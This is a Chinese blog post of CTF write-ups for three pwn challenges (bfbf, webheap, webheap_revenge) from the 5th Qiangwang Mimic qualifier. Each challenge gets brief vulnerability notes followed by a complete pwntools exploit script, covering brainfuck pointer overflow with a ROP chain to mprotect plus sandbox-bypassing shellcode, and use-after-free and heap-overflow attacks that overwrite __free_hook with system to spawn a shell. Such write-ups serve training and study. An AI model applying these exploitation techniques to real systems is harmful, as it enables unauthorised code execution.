第五届强网拟态挑战赛预赛-pwn

本文最后更新于:2023年10月31日 下午

bfbf

bfbf_parse函数代码

run_bfbf函数代码

读取brainfuck代码处代码

通过run_bfbf函数中看到,brain fuck的指针指向的地址位于栈中,且没有限制偏移大小,所以可以利用 <,>[]将指针偏移到指定位置泄露run_bfbf的返回地址__libc_start_main函数地址,并且可以控制返回地址,构造rop

程序中开启了沙盒,当程序执行过程中从非01句柄中读取数据,就退出程序,这让我们不能通过执行/bin/sh获取设立了,且不能直接使用orw读取flag文件,不过可以通过dup2open("flag")开启的3句柄,转移到0句柄上,这样就可以获取flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
rdi=0x0000000000023b72
rsi=0x000000000002604f
rdx=0x0000000000119241

def check(mode=1):
global p,e,libc
if (mode):
p=process("./pwn")
else:
p=remote('127.0.0.1:4444')
e=ELF('./pwn',checksec=0)
libc=ELF("./libc.so.6",checksec=0)

def att(cmd=""):
gdb.attach(p,cmd)
pause()

libc=""
e=""
p=""
check()
context.binary=e
payload=b'>'*536+b'.>'*8+b'>'*16+b'>'*8+b'.>'*8+b'<'*40+','
p.sendlineafter(">>\n",payload)
e.address=u64(p.read(8))-0x1955
print(hex(e.address))
d=u64(p.read(8))-libc.sym['__libc_start_main']
libc.address=d&0xfffffffffffff000
print(hex(libc.address))
p.send(' ')
"""
控制返回地址到读取用户输入的位置
"""

rdi=libc.address+rdi
rsi=libc.address+rsi
rdx=libc.address+rdx
read=libc.sym['read']
mprotect=libc.sym['mprotect']
bss=e.bss(0x100)

r=flat([rdi,0,rsi,bss,rdx,0x200,1,read,rdi,bss&0xfffffffffffff000,rsi,0x1000,rdx,0x7,1,mprotect,bss])
payload=b'>'*536+',>'*len(r)
p.sendline(payload)
p.send(r)

shellcode=shellcraft.open("./flag")+shellcraft.dup2(3,0)+shellcraft.read(0,bss+0x200,0x40)+shellcraft.write(1,bss+0x200,0x40)
p.sendline(asm(shellcode))
p.interactive()

webheap

main函数代码

run_packet函数代码

create函数代码

show函数代码

delete函数代码

edit函数代码

主要难点在于分析parse_packet函数比较麻烦,通过delete函数可以发现,程序存在uaf漏洞,那么剩下的就简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
libc=ELF('./libc-2.27.so',checksec=0)
context.log_level='debug'
def make_head():
return b"\xb9\x05"

def make_mode(mode):
return b"\x84"+p8(mode)

def make_index(ind):
return b"\x80"+p8(ind)

def make_size(size=0):
return b"\x81"+p16(size)

def make_data(data=''):
return b"\xbd\x81"+p16(len(data))+data

def make_end():
return b'\x80\x00'

def send(payload):
p.sendlineafter('length: ',str(len(payload)))
p.sendlineafter('Content: ',payload)

def add(ind,size):
payload=make_head()+\
make_mode(0)+\
make_index(ind)+\
make_size(size)+\
make_data()+\
make_end()
send(payload)

def show(ind):
payload=make_head()+\
make_mode(1)+\
make_index(ind)+\
make_size()+\
make_data()+\
make_end()
send(payload)

def free(ind):
payload=make_head()+\
make_mode(2)+\
make_index(ind)+\
make_size()+\
make_data()+\
make_end()
send(payload)

def edit(ind,data):
payload=make_head()+\
make_mode(3)+\
make_index(ind)+\
make_size()+\
make_data(data)+\
make_end()
send(payload)


def att(cmd=''):
gdb.attach(p,cmd)
pause()

p=process('./webheap')
add(0,0x430)
add(1,0x30)
add(2,0x30)
add(3,0x30)
free(0)
show(0)
d=u64(p.read(6).ljust(8,b'\x00'))
print(hex(d))
malloc_hook=d-0x60-0x10
libc.address=malloc_hook-libc.sym['__malloc_hook']
print(hex(libc.address))
free_hook=libc.sym['__free_hook']
system=libc.sym['system']
edit(3,'/bin/sh')
free(1)
edit(1,p64(free_hook))
add(4,0x30)
add(5,0x30)
edit(5,p64(system))
free(3)
p.interactive()

webheap_revenge

程序主要逻辑与webheap相同,所以交互的脚本不需要重新写,直接拿webheap的就好了

构造chunk代码

查看chunk代码

释放chunk代码

编辑chunk代码

分析程序发现,在执行edit功能时,向chunk中写入的数据长度为用户输入的数据长度,而且程序没有对输入数据长度进行限制,所以我们可以随心所欲的向程序发送任意长度的数据,就是说程序存在堆溢出漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
libc=ELF('./libc-2.27.so',checksec=0)
context.log_level='debug'
def make_head():
return b"\xb9\x05"

def make_mode(mode):
return b"\x84"+p8(mode)

def make_index(ind):
return b"\x80"+p8(ind)

def make_size(size=0):
return b"\x81"+p16(size)

def make_data(data=''):
return b"\xbd\x81"+p16(len(data))+data

def make_end():
return b'\x80\x00'

def send(payload):
p.sendlineafter('length: ',str(len(payload)))
p.sendlineafter('Content: ',payload)

def add(ind,size):
payload=make_head()+\
make_mode(0)+\
make_index(ind)+\
make_size(size)+\
make_data()+\
make_end()
send(payload)

def show(ind):
payload=make_head()+\
make_mode(1)+\
make_index(ind)+\
make_size()+\
make_data()+\
make_end()
send(payload)

def free(ind):
payload=make_head()+\
make_mode(2)+\
make_index(ind)+\
make_size()+\
make_data()+\
make_end()
send(payload)

def edit(ind,data):
payload=make_head()+\
make_mode(3)+\
make_index(ind)+\
make_size()+\
make_data(data)+\
make_end()
send(payload)


def att(cmd=''):
gdb.attach(p,cmd)
pause()

p=process('./webheap_revenge')
gdb.attach(p)
add(0,0x430)
add(1,0x38)
add(2,0x38)
add(3,0x38)
edit(3,'/bin/sh\x00')
free(0)
add(0,0x430)
show(0)
d=u64(p.read(6).ljust(8,b'\x00'))
malloc_hook=d-0x60-0x10
libc.address=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc.sym['__free_hook']
system=libc.sym['system']
free(2)
edit(1,b'a'*0x38+p64(0x41)+p64(free_hook))
add(2,0x38)
add(4,0x38)
edit(4,p64(system))
free(3)
p.interactive()

第五届强网拟态挑战赛预赛-pwn
https://rot-will.github.io/page/wp/第五届强网拟态挑战赛预赛-pwn/
作者
rot_will
发布于
2022年8月8日
更新于
2023年10月31日
许可协议